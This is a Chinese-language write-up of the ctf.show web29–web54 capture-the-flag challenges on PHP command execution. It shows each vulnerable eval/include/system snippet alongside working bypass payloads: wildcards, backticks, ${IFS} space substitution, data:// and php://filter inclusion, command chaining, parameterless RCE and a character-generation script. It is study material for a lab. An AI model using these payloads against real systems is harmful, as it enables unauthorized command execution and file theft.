目录
web29
web30
web31
web32
web33
web34-web36
web37
web38
web39
web40
web41
web42
web43
web44
web45
web46
web47
web48
web49
web50
web51
web52
web53
web54
web29
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
if(!preg_match("/flag/i", $c)){
在这一段代码,我们知道只过滤掉了flag而且不区分大小
所需知识点通配符
*可以匹配0或多个字符
?可以匹配任意一个字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符
所以在这flag可以用f*或f???替代
所以这个题的payload
?c=system("cat f*.php")
也可以用cp命令
?c=system('cp fla?.php 1.txt')
再补充一下,另外绕过可以用引号,反斜杠
flag=fl\ag=fl''ag
web30
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤掉了flag,system,php关键字
所需知识点反引号执行命令
因为过滤掉了system,我们就得选择其他的命令执行函数
最常用的无需echo
system()
passthru()
需用echo函数
反引号——``有system()的作用
exec()
shell_exec()
所以这个题的payload
?c=echo `cat f*`;
web31
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个题增加了一些过了,比较重要的cat和空格过滤掉了
cat过滤时,可以替代绕过的姿势
1.tac:从最后一行开始显示,是cat的反向显示
2.more:一页一页的显示档案内容
3.less:与more类似
4.head:查看文档的前几行
5.tail:查看文档的后几行
6.nl:显示的时候,顺便输入行号
7.od:以二进制的方式读取档案内容
8.vi:一种编辑器
9.uniq:查看
10.vim:一种编译器
空格过滤时,可以替代绕过的姿势
1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09
所以这个题的payload
?c=echo(`more%09f*`);
再附上大佬们的payload
?c=eval($_GET[1]);&1=system('cat flag.php');嵌套脱离了c的正则判断
?c=echo`strings%09f*`;
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()。这个学到了!
然后另一个payload是hint,我感觉我是看不大懂原理,先放上,后期再学习
payload2
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web32
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤掉了好多大小
; ( echo ' `
payload
首先分号可以用?>代替,括号可以用“”绕过,利用文件包含的方式
?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
当然这里include也可换require
web33
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以直接用上一题的payload,但是需要去掉双引号,因为引号被过滤掉了
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
或者把include换成require
web34-web36
34题多过滤掉了:
35题多过滤掉了=<
36题过滤掉了数字,可以把1换为一个字母就可
都可以用上面两题的payload直接一把梭
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
web37
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
此时,这个地方为include($c),不是eval函数了,
过滤掉了flag,而且还进行了文件包含
这个题考点为伪协议
data协议
?c=data://text/plain,<?php phpinfo();?>
可以执行,在这样data协议,data会把后面的数字,字符,字符串会作为php代码来执行
所以这个题的payload
?c=data://text/plain,<?php system('cat fl??.php');?>
web38
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
在上一个题的基础上,又过滤掉了php和file
过滤姿势为短标签
依然可以用上一题的payload,不过需要将php改为=
php的短标签,<?=,可以为<?php
payload
?c=data://text/plain,<?=system("cat fla?.???");?>
web39
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤掉了flag,并且限制了后缀为php
问题不大,可以直接用前两题的payload,就可以得到flag
?c=data://text/plain,<?php system("cat fla?.php");?>
web40
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
?
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤掉了好多东西符号
首先就是看一下提示,hint给的一个payload为无参函数进行文件读取
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
可以得到flag
关于无参rce
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv()返回一包含本地数字及货币格式信息的数组。第一个是小数点。
pos()取得数组内容
scandir()查看该路径下的目录
array_reverse()数组逆转
next() 函数将内部指针指向数组中的下一个元素,并输出。
show_source()显示源码
web41
emmm,能力有限,看了羽大佬的wp也没看懂
以后再补
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
?
*/
?
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
payload
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
?
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
?
}
}
fwrite($myfile,$contents);
fclose($myfile);
web42
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这个题主要的东西为>/dev/null 2>&1,它的作用为执行某个命令不会有任何输出
绕过方式:可以添加分号进行绕过,它会将分号后面的命令进行不再输出,但分号前可以正常使用
payload
?c=ls;ls
?c=cat flag.php;ls
web43
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上一题的基础上,过滤掉了cat和分号
我们可以用&&符号进行绕过,或者||符号,特别注意&&符号要进行url编码
&&符号的意思为前一个命令执行成功后才执行后一个命令
payload:
?c=tac flag.php%26%26ls
web44
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上一题的基础是多过滤掉了flag,很简单的通配符绕过就好了
payload
?c=ls||ls
?c=tac fla?.php||ls
web45
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上一题的基础又过滤掉了空格
我们可以直接绕过就好,再复习一下绕过空格的姿势
1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09
payload
?c=tac${IFS}fla?.php||ls
web46
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又多过滤掉了数字,$,*
我们可以直接使用上一题的payload就可以,不过过滤空格的姿势换为%09
比较特殊的地方,题目过滤掉了数字,我们这里还可以用%09,是因为,09解码以后不为数字。
?c=tac%09fla?.php||ls
web47
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又多过滤掉了读取文件的姿势,但是还是丢下了几个姿势
tac,nl,vi,uniq
我们还是可以直接用上一题的payload一把梭了
?c=tac%09fla?.php||ls
web48
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又过了掉了一些东西
依然用那个payload一把梭
?c=tac%09fla?.php||ls
web49
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这一题过了掉了反引号和百分号,但是依然可以使用之前的payload一把梭了
?c=tac&09fla?.php||ls
web50
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这个题过滤掉了&符号和09,而且不能用通配
所以我们可以这样
?c=tac<fla''g.php||ls
两个单引号可以分隔字符串,执行后会忽略
web51
同web50
?c=nl<fla''g.php||ls
web52
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
通道符被过滤掉了,但是$被放出来了
payload
?c=nl${IFS}fla''g.php||ls
不过直接访问居然是假的flag
然后我们列一下根目录
?c=ls${IFS}/||ls
在根目录下发现了有一个flag
我们可以有两个方法
方法一直接读取
?c=nl${IFS}/fla?||ls
方法二复制文件或移动文件
?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls
b.txt
web53
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
这个题有的返回值,system的返回值为:
正确返回最后一行,错误返回flase
然后那个黑洞去掉了我们可以直接写payload了
?c=ta''c${IFS}fla?.php
web54
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤的特别多啊!!!
这个我们可以修改掉flag.php的名字,再访问
payload
?c=mv${IFS}fla?.php${IFS}t.txt
t.txt
学到了一个姿势,我们可以用mv修改掉flag文件的名字,再访问
未完待续~~~~~
|